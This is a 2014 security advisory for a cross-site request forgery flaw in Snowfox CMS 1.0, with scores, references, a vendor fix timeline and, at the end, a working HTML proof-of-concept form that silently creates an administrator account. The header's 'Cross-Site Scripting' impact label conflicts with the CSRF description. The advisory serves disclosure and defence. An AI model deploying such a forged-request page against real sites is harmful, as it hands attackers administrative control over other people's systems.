CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
EPSS
Percentile
81.9%
Title: Snowfox CMS v1.0 CSRF Add Admin Exploit
Advisory ID: ZSL-2014-5205
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 18.11.2014
Snowfox is an open source Content Management System (CMS) that allows your website users to create and share content based on permission configurations.
Snowfox CMS suffers from a cross-site request forgery vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
Globiz Solutions - <http://www.snowfoxcms.org>
1.0
Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
[20.11.2014] Vendor releases version 1.0.10 to address this issue.
Vulnerability discovered by Gjoko Krstic - <[email protected]>
[1] <http://cxsecurity.com/issue/WLB-2014110126>
[2] <http://packetstormsecurity.com/files/129164>
[3] <http://www.securityfocus.com/bid/71175>
[4] <http://www.exploit-db.com/exploits/35301/>
[5] <http://xforce.iss.net/xforce/xfdb/98815>
[6] <http://osvdb.org/show/osvdb/114819>
[7] <https://github.com/GlobizSolutions/snowfox/releases>
[8] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-9344>
[9] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9344>
[18.11.2014] - Initial release
[19.11.2014] - Added reference [1], [2] and [3]
[20.11.2014] - Added vendor status and reference [4], [5], [6] and [7]
[09.12.2014] - Added reference [8] and [9]
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<!--
Snowfox CMS v1.0 CSRF Add Admin Exploit
Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0
Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.
Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php
12.11.2014
--><html>
<body>
<form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
<input name="emailAddress" type="hidden" value="[email protected]"/>
<input name="verifiedEmail" type="hidden" value="verified"/>
<input name="username" type="hidden" value="USERNAME"/>
<input name="newPassword" type="hidden" value="PASSWORD"/>
<input name="confirmPassword" type="hidden" value="PASSWORD"/>
<input name="userGroups[]" type="hidden" value="34"/>
<input name="userGroups[]" type="hidden" value="33"/>
<input name="memo" type="hidden" value="CSRFmemo"/>
<input name="status" type="hidden" value="1"/>
<input name="formAction" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
</body>
</html>